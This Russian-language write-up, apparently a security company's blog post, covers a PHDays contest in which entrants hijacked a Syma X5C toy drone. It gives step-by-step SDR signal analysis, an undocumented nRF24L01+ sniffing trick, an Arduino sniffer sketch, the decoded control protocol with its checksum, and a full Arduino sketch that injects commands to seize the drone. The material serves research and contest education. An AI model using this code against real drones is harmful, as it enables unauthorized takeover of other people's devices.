В этом году на PHDays был представлен новый конкурс, где любой желающий мог перехватить управление квадрокоптером Syma X5C. Производители часто полагают, что если они используют не IP-технологии, а какой-нибудь другой беспроводной стандарт, то можно не думать о защищенности. Как будто хакеры махнут рукой, решив, что разбираться с чем-то, кроме IP, — это слишком долго, сложно и дорого.
Но на самом деле, как мы уже много раз упоминали, SDR (software-defined radio) — отличный инструмент для доступа в мир IoT, где уровень вхождения определяется уровнем добросовестности производителя IoT-решений. Однако даже не имея SDR можно творить чудеса, пусть и в ограниченном пространстве частот и протоколов.
Цель — перехватить управление дроном.
Входные данные:
- диапазон управления дроном: 2,4 ГГц ISM,
- управление осуществляется модулем nRF24L01+ (на самом деле — его клоном BK2423).
Средства (выдавались желающим): Arduino Nano, nRF24L01+.
Результат — угонщик получил Syma X8C в подарок.
Так как среди желающих угнать наш дрон оказались уже подготовленные люди, имеющие в арсенале HackRF, BladeRF и другие серьезные игрушки, мы опишем два метода — SDR и непосредственно nRF24L01+.
Путь самурая — SDR
Первым делом необходимо найти каналы, на которых работает данный пульт. Но перед этим стоит пробежаться по даташиту, чтобы понять, что вообще искать. Первое, что нам необходимо, это организация частот.
Теперь мы знаем, что всего имеется 126 каналов с шагом в 1 МГц. Еще полезно было бы узнать ширину канала и битрейт, на будущее.
Вообще можно все сделать и без этих знаний, ведь далеко не всегда известно, из чего состоит передатчик. Итак, запускаем сканер спектра. Мы используем UmTRX и максимально возможный для него bandwidth — 13 МГц.
Мы не стали приводить скриншоты всего спектра, но как найти подобные данные в радиоэфире — должно быть понятно. Можем увидеть, что с определенной периодичностью данные появляются на 25, 41, 57 и 73 каналах.
Несмотря на то, что даташит однозначно указывает модуляцию, в жизни у нас не всегда есть даташит к перехватываемому девайсу. Поэтому собираем простейшую схему в GNU Radio и записываем любой из найденных каналов.
Похоже, что bandwidth <= 800 КГц; согласно даташиту, это значит, что битрейт — 250 Кбит/с.
Теперь мы хотим посмотреть на записанные данные; запускаем baudline, в котором открываем записанный файл с правильными параметрами, — и видим нечто подобное:
Выбираем один из подсвеченных пиков и открываем окно waveform.
Вверху видим записанный сигнал; похоже, мы все сделали правильно, по переходам фазы становится очевидно, что это FSK/GFSK-модуляция.
Далее нам необходимо поставить демодулятор и немного отфильтровать лишнее.
Открываем результат, картина выглядит иначе, теперь находим темную полосу и открываем waveform.
Фактически дело сделано, высокий уровень — единица, низкий — ноль. А по таймлайну можно определить период импульса и посчитать битрейт.
В самом начале передатчик настраивается на частоту передачи и передает только несущую, затем идет преамбула, состоящая из последовательности 0 и 1, в разных чипах она может отличаться как длиной, так и содержанием, в nRF24L01+ она составляет 1 байт 0xAA или 0x55, в зависимости от старшего бита адреса, в нашем случае преамбула 0xAA. Затем идут байты адреса, в nRF24L01+ адрес может составлять от 3 до 5 байт (забегая вперед: это не совсем так).
Теперь мы знаем адрес (0xa20009890f). Для дальнейшего анализа необходимо сделать небольшую автоматизацию, например так:
На выходе получится файл, состоящий из последовательности 0 и 1:
$ hexdump -C test3.raw
Один из наших пакетов можно найти по смещению 0x5e25:
Что с этим делать дальше — каждый решит для себя сам, но необходимо подобрать длину пакета и тип используемой CRC. Мы написали утилиту, которая анализирует файл и пытается найти преамбулу, после которой пытается подсчитать CRC для разных вариантов длины payload и адреса двумя разными способами (см. даташит). У нас получилось так:
Однако позже пришло понимание, что Python годится только для анализа в офлайне, а «переваривать» данные в реальном времени с битрейтом даже 250 Кбит/с весьма проблематично, не говоря уже о более высоких скоростях. Так родилась вторая версия на C, которая работает в режиме реального времени.
Итак, имея payload, остается разобраться уже в самом протоколе Syma.
Путь нищеброда — Arduino и nRF24L01+
Этот способ, в отличие от описанного выше, не требует практически никаких знаний в области радио, и стоит крайне дешево (Arduino — 2 $, nRF24L01+ — 1 $ и примерно столько же на провода mini-USB и DuPont), однако требует некоторой смекалки и навыков гугления. Именно его участникам конкурса мы и предлагали повторить.
Основная проблема в том, что nrf24l01+ не имеет promiscuous режима. Однако сам модуль имеет несколько странных особенностей, первая — в даташите есть интересная вещь:
Если выставить этот регистр в «00», то адрес будет 2 байта. Далее есть еще одна интересная особенность: обычно преамбула передается и используется для того, чтобы приемник мог подстроиться под передатчик, именно для этого чаще всего в качестве преамбулы передается последовательность нулей и единиц. Вторая особенность модуля nRF24L01+: он не ищет преамбулу и никак ее не использует, он ищет адрес, который записан в качестве принимаемого. Если посмотреть на передаваемый сигнал на скриншотах выше, можно также заметить, что перед началом передачи преамбулы передатчик вещает несущую; опытным путем было выявлено, что чаще всего nRF24L01+ воспринимает ее как 0x00 (иногда как 0xFF, реже как случайный байт). Таким образом, используя эти недокументированные особенности мы можем перевести nRF24L01+ в promiscuous mode — установив длину адреса в 2 байта, а сам адрес как 0x00AA или 0x0055. В одном из вариантов мы будем получать данные, сдвинутые на 1 бит. Кроме того, можно принимать данные без проверки CRC.
Теперь у нас есть все необходимые теоретические знания. Используем библиотеку RF24 (github.com/TMRh20/RF24), хотя в ней есть недостаток: в файле RF24.cpp в функции
void RF24::setAddressWidth(uint8_t a_width){
if(a_width -= 2){
write_register(SETUP_AW,a_width%4);
addr_width = (a_width%4) + 2;
}
}
следует удалить проверку валидности:
void RF24::setAddressWidth(uint8_t a_width){
a_width -= 2;
write_register(SETUP_AW,a_width%4);
addr_width = (a_width%4) + 2;
}
Теперь пишем небольшой скетч для Arduino (данный пример для Mega, но будет работать на любой другой, нужно просто поменять CE_PIN, CSN_PIN на свои):
#include <SPI.h>
#include <nRF24L01.h>
#include <RF24.h>
#include <printf.h>
#define CE_PIN 53 /// Change it for your board
#define CSN_PIN 48 /// Change it for your board
RF24 radio(CE_PIN, CSN_PIN);
const char tohex[] = {'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'};
uint64_t pipe = 0x00AA;
byte buff[32];
byte chan=0;
byte len = 32;
byte addr_len = 2;
void set_nrf(){
radio.setDataRate(RF24_250KBPS);
radio.setCRCLength(RF24_CRC_DISABLED);
radio.setAddressWidth(addr_len);
radio.setPayloadSize(len);
radio.setChannel(chan);
radio.openReadingPipe(1, pipe);
radio.startListening();
}
void setup() {
Serial.begin(2000000);
printf_begin();
radio.begin();
set_nrf();
}
long t1 = 0;
long t2 = 0;
long tr = 0;
void loop() {
byte in;
if (Serial.available() >0) {
in = Serial.read();
if (in == 'w') {
chan+=1;
radio.setChannel(chan);
Serial.print("nSet chan: ");
Serial.print(chan);
}
if (in == 's') {
chan-=1;
radio.setChannel(chan);
Serial.print("nSet chan: ");
Serial.print(chan);
}
if (in == 'q') {
Serial.print("n");
radio.printDetails();
}
}
while (radio.available()) {
t2 = t1;
t1 = micros();
tr+=1;
radio.read(&buff, sizeof(buff) );
Serial.print("n");
Serial.print(tr);
Serial.print("tms: ");
Serial.print(millis());
Serial.print("tCh: ");
Serial.print(chan);
Serial.print("tGet data: ");
for (byte i=0; i<len;i++ ){
Serial.print(tohex[(byte)buff[i]>>4]);
Serial.print(tohex[(byte)buff[i]&0x0f]);
}
}
}
Теперь можно на серийном порте забирать готовые данные с установленного канала, смена канала осуществляется посылкой «w» и «s» в порт. Дальнейшую обработку можно производить любым удобным способом: глазами, руками, скриптами. Следует обратить внимание, что скорость порта нестандартная — 2 Мбит/c, это необходимо для того, чтобы Arduino меньше времени занималась I/O, а больше занималась делом (не забываем, что там всего лишь 16 МГц).
После нахождения канала и поимки адреса следует установить этот адрес в качестве приемного, чтобы отфильтровать данные из космоса:
uint64_t pipe = 0xa20009890fLL;
byte addr_len = 5;
Затем следует пробежаться по всем каналам и найти все, на которых проскакивает данный адрес. Немного наблюдаем за происходящим и замечаем, что 10, 11 и 12 байт меняются в зависимости от данных, а за ними идет последовательность случайных байтов — шум. Пробуем включить CRC16 (два последних байта) и сменить длину пакета до 10 байт:
byte len = 10;
radio.setCRCLength(RF24_CRC_16);
Бинго! Мы смогли подобрать все необходимые настройки nRF24L01+, которые используются данным пультом, дальше дело за разбором протокола самой Syma.
Протокол Syma
Разобрать его совсем не сложно, записав немного активности с пульта.
- Первый байт — значение throttle (стик газа)
- Второй байт — значение elevator (тангаж — наклон вперед-назад), где старший бит — направление (вперед или назад), а остальные 7 — значение.
- Третий байт — значение rudder (рысканье — поворот вокруг оси влево-вправо), где старший бит — направление (влево или вправо), а остальные 7 — значение.
- Четвертый байт — значение aileron (крен — наклон влево-вправо), где старший бит — направление, а остальные 7 — значение.
- Десятый байт это CRC, которая рассчитывается как XOR от первых 9 байт + 0x55, понять это — пожалуй, самое сложное.
Остальные байты можно оставить такими же, как и перехваченные, там передаются значения регулировок нулевого положения (тримы), и несколько флагов, относящихся к работе камеры.
Осталось сформировать какой-либо валидный пакет, например заставим дрона крутиться вокруг своей оси против часовой стрелки: 92007f000040002400de
Ниже приведен скетч нашего перехватчика с PHDays, который выглядел вот так:
#include <SPI.h>
#include <nRF24L01.h>
#include <RF24.h>
#include <stdio.h>
#define CE_PIN 48
#define CSN_PIN 53
//// syma
uint8_t chan[4] = {25,41,57,73};
const char tohex[] = {'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'};
uint64_t pipe = 0xa20009890fLL;
RF24 radio(CE_PIN, CSN_PIN);
int8_t packet[10];
int joy_raw[7];
byte ch=0;
//// controls
uint8_t throttle = 0;
int8_t rudder = 0;
int8_t elevator = 0;
int8_t aileron = 0;
//// syma checksum
uint8_t checksum(){
uint8_t sum = packet[0];
for (int i=1; i < 9; i++) sum ^= packet[i];
return (sum + 0x55);
}
//// initial
void setup() {
//set nrf
radio.begin();
radio.setDataRate(RF24_250KBPS);
radio.setCRCLength(RF24_CRC_16);
radio.setPALevel(RF24_PA_MAX);
radio.setAutoAck(false);
radio.setRetries(0,0);
radio.setAddressWidth(5);
radio.openWritingPipe(pipe);
radio.setPayloadSize(10);
radio.setChannel(25);
//set joystick
pinMode(A0, INPUT);
pinMode(A1, INPUT);
pinMode(A2, INPUT);
pinMode(A3, INPUT);
pinMode(A4, INPUT);
pinMode(A5, INPUT);
pinMode(A6, INPUT);
digitalWrite(A3, HIGH);
digitalWrite(A4, HIGH);
digitalWrite(A5, HIGH);
digitalWrite(A6, HIGH);
//init default data
packet[0] = 0x00;
packet[1] = 0x00;
packet[2] = 0x00;
packet[3] = 0x00;
packet[4] = 0x00;
packet[5] = 0x40;
packet[6] = 0x00;
packet[7] = 0x21;
packet[8] = 0x00;
packet[9] = checksum();
}
void read_logitech() {
joy_raw[0] = analogRead(A0);
joy_raw[1] = analogRead(A1);
joy_raw[2] = analogRead(A2);
joy_raw[3] = !digitalRead(A3);
joy_raw[4] = !digitalRead(A4);
joy_raw[5] = !digitalRead(A6);
joy_raw[6] = !digitalRead(A5);
//little calibration
joy_raw[0] = map(joy_raw[0],150, 840, 255, 0)+10;
joy_raw[0] = constrain(joy_raw[0], 0, 254);
joy_raw[1] = map(joy_raw[1],140, 830, 0, 255);
joy_raw[1] = constrain(joy_raw[1], 0, 254);
joy_raw[2] = map(joy_raw[2],130, 720, 255, 0);
joy_raw[2] = constrain(joy_raw[2], 0, 254);
}
//// main loop
void loop() {
read_logitech();
throttle = joy_raw[2];
rudder = 64*joy_raw[4] - 64*joy_raw[5];
elevator = joy_raw[1]-127;
aileron = joy_raw[0]-127;
radio.openWritingPipe(pipe);
ch +=1;
if (ch>3) ch = 0;
radio.setChannel(chan[ch]);
packet[0] = throttle;
if (elevator < 0) packet[1] = abs(elevator) | 0x80; else packet[1] = elevator;
if (rudder < 0) packet[2] = abs(rudder) | 0x80; else packet[2] = rudder;
if (aileron < 0) packet[3] = abs(aileron) | 0x80; else packet[3] = aileron;
packet[4] = 0x00;
packet[5] = 0x40;
packet[6] = 0x00;
packet[7] = 0x21;
packet[8] = 0x00;
packet[9] = checksum();
radio.write( packet, sizeof(packet) );
}
Если нет желания разбираться с Arduino, можно собрать на этой же библиотеке программу-перехватчик на Raspberry Pi.
Готовые файлы для Raspberry — github.com/chopengauer/nrf_analyze.
Участники и победители
За два дня конференции в конкурсе приняли участие полтора десятка человек. Заинтересовавшихся было гораздо больше, но многие, узнав, что ломать нужно не Wi-Fi, разочарованно уходили. Многие боятся браться за что-то новое и непонятное, на этом и держится защищенность современного интернета вещей.
Среди участников были те, кто уже строил свои беспроводные сети на nRF24L01+, и те, кто их видел в первый раз.
Уже в середине первого дня один из участников произвел первые попытки воздействия на дрон методом записи сигнала пульта с последующим его воспроизведением, используя SDR (replay-атака). Однако дрон от этого лишь слегка дергался как от помехи. Эта атака бесполезна по причине того, что дрон использует 4 канала с разницей между верхним и нижним в 48 МГц, и воздействия по одному каналу недостаточно для угона.
Уже к вечеру первого дня один из участников обладал всеми необходимыми знаниями об особенностях модуля (двухбайтный адрес 0x00aa) и пытался отсканировать адрес нашего пульта, но проблема была в том, что ему попался даташит от устаревшей версии чипа nRF24L01 (без +), который не поддерживает используемый нашим дроном битрейт 250 Кбит/с. А еще он отказался использовать готовые библиотеки для работы с модулем и работал напрямую с его регистрами. Только хардкор! Ломаем ноги только об свои велосипеды ;)
Победителем конкурса стал Глеб Чербов, которому удалось полностью перехватить управление дроном к 16 часам второго дня. Остальным участникам не удалось перехватить адрес устройства.
Автор: Positive Technologies